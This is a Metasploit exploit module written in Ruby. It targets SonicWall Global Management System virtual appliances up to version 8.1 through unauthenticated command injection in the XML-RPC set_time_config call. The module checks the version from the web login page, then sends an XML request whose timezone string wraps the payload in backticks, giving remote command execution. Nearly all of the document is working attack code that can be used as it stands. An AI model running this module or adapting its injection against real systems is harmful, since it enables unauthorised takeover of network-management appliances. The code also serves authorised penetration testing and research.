SonicWall Global Management System - XMLRPC set_time_zone Command Injection (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name' => "SonicWall Global Management System XMLRPC
                 set_time_zone Unath RCE",
      'Description' => %q{
        This module exploits a vulnerability in SonicWall Global
        Management System Virtual Appliance versions 8.1 (Build 8110.1197)
        and below. This virtual appliance can be downloaded from
        http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
        holistic way to manage your entire network security environment.'

        These vulnerable versions (8.1 Build 8110.1197 and below) do not
        prevent unauthenticated, external entities from making XML-RPC
        requests to port 21009 of the virtual app. After the XML-RPC call
        is made, a shell script is called like so:
        'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.
      },
      'License' => MSF_LICENSE,
      'Author' => [ 'Michael Flanders', #MSF Module
                    'kernelsmith' #Advisor
                  ],
      'References' => [
        ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],
        ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']
      ],
      'Platform' => [ 'unix' ],
      'Arch' => ARCH_CMD,
      'Targets' => [
        [ 'SonicWall Global Management System Virtual Appliance', {} ],
      ],
      'Payload' => {
        # Can't use ampersand, Java's XML-RPC parser will complain and return an error
        'BadChars' => "\x26",
         'Compat' => {
           'PayloadType' => 'cmd',
           'RequiredCmd' => 'generic bash telnet'
         }
      },
      'DisclosureDate' => "Jul 22 2016",
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.
                                             Defaults to 80/443 depending on SSL.'])
        ])
  end

  def check
    if datastore['WEB_SERVER_PORT']
      port_number = datastore['WEB_SERVER_PORT']
    else
      port_number = datastore['SSL'] ? '443' : '80'
    end

    handler = datastore['SSL'] ? 'https' : 'http'

    res = request_url("#{handler}://#{rhost}:#{port_number}")

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
      return CheckCode::Safe
    end

    version = Gem::Version.new $1.to_s

    unless version <= Gem::Version.new('8.1')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, "The target is not vulnerable."
    end

    print_status "The target appears to be vulnerable, continuing exploit..."
    send_xml
  end

  def send_xml
    xml_body = <<~HERESTRING
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>set_time_config</methodName>
      <params>
        <param>
          <value>
            <struct>
              <member>
                <name>timezone</name>
                <value>
                  <string>"`#{payload.encoded}`"</string>
                </value>
              </member>
            </struct>
          </value>
        </param>
      </params>
    </methodCall>
    HERESTRING

    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => '/',
      'data'    => xml_body,
      'ctype'   => 'text/xml; charset=UTF-8'
    })

    unless res && res.body.include?("success")
      print_error("Error sending XML to #{rhost}:#{rport}")
    end
  end

end